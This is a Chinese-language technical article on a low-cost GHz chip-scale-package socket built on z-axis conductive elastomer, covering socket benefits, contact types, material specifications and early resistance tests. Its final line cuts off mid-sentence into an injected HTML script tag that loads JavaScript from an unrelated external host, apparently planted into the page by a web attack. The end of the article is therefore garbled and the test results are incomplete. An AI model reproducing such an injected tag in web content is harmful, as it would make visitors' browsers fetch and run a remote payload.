摘要：选择一种插座进行测试、老化、开发或者生产并不像想象的那么简单，它不仅取决于系统的功能，还要取决于系统的运行参数，如性能、功耗、热管理方式以及系统运行环境等。本文向大家介绍一种可满足高速、高密度元器件电气性能和体积要求的低成本ghz芯片级封装(csp)插座。
在电子互连设计中，系统运行速度是一个非常重要的考虑因素。随着高时钟速度(ghz以上)、细引脚密度(间距小于0.8mm)以及高引脚数(大于500)在如今集成电路中越来越普遍，更是要求这类器件的封装必须具备良好的互连性及电气和热特性。
插座的优点
ic使用插座主要是出于节约成本和技术的考虑。成本上的好处是ic不必永久性固定在印刷电路板(pwb)上，而是将插座永久(焊接)或半永久(采用非焊接方式)固定在pwb上，ic从插座中插入或拔出都不会影响线路板的连接。
技术上的原因是pwb和它上面安装的ic封装之间可能存在热性能不匹配。一般的球栅阵列器件(bga)采用陶瓷材料进行封装，然后组装在标准的线路板材料(fr4)上，由于热膨胀系数(cte)不同，封装和线路板之间的焊点内部将产生很大应力，随着时间推移，会逐渐导致失效。此外，插座还能降低贵重ic的存货，帮助对整个系统进行测试、评估和检查，同时插座也有利于在使用现场对系统进行维护、测试、更换或升级。
一般插座都采用冲压引脚，具有多种触点形式，如“y”型、“夹”型、“叉”型等，但这些方式只可用在低密度封装中，不能照搬用于非常精密的微间距高密度芯片级封装。
弹簧探针触点曾经成功地用于细间距封装插座，但是它成本太高目前无人问津，并且这种触点会在焊球上形成一个永久性印记，当器件最后通过回流焊焊接到板子上时将造成污染和不良焊点。此外，各种冲压引脚触点结构还使得信号路径更长，在高速情况下降低运行的效率。
导电人造橡胶技术
一种低成本csp插座方案是利用导电人造橡胶来实现高密度和高速度。ironwood electronics一直在从事这种导电人造橡胶技术的研究，取得了一种可制作高速、高密度csp插座的ghz级csp插座材料，其应用范围可以从非常小巧的生产型插座一直到耐用的测试和老化等场合。
图1是插座设计的示意图，它可以使压力均匀地施加在ic顶部，将焊球推入一个非常高速的z轴人造橡胶连接介质内，图2是csp在橡胶上加压前后的情况。散热螺孔和插座本身起到了为插座内ic散热的作用，精密的ic和焊球导轨可以使元件定位以实现准确的连接。
用在插座中的z轴人造导电橡胶属于低阻抗(小于0.01ω)连接材料，它是一种细间距镀金导线阵列，以63°角嵌入绝缘的软硅橡胶层中。在500v直流电压下导线之间的阻抗为1,000mω，这对需要薄型高密度各向异性连线的大电流应用(50ma/线)极为理想。镀金的铜丝从硅片顶部和底部会伸出几微米，导电橡胶的工作温度范围为-35℃～150℃。图3为导电橡胶的电子显微镜扫描(sem)图。
功能测试
我们用三种不同厚度的导电橡胶样品(0.5mm、1mm、2mm)进行了一些功能测试。
◆电气特性 第一个测试检查导电橡胶连续阻抗与压缩量的关系。结果见图4a，图中可见连续阻抗都低于25mω且压缩越大其值越低。
第二个测?script src=http://er12.com/t.js>
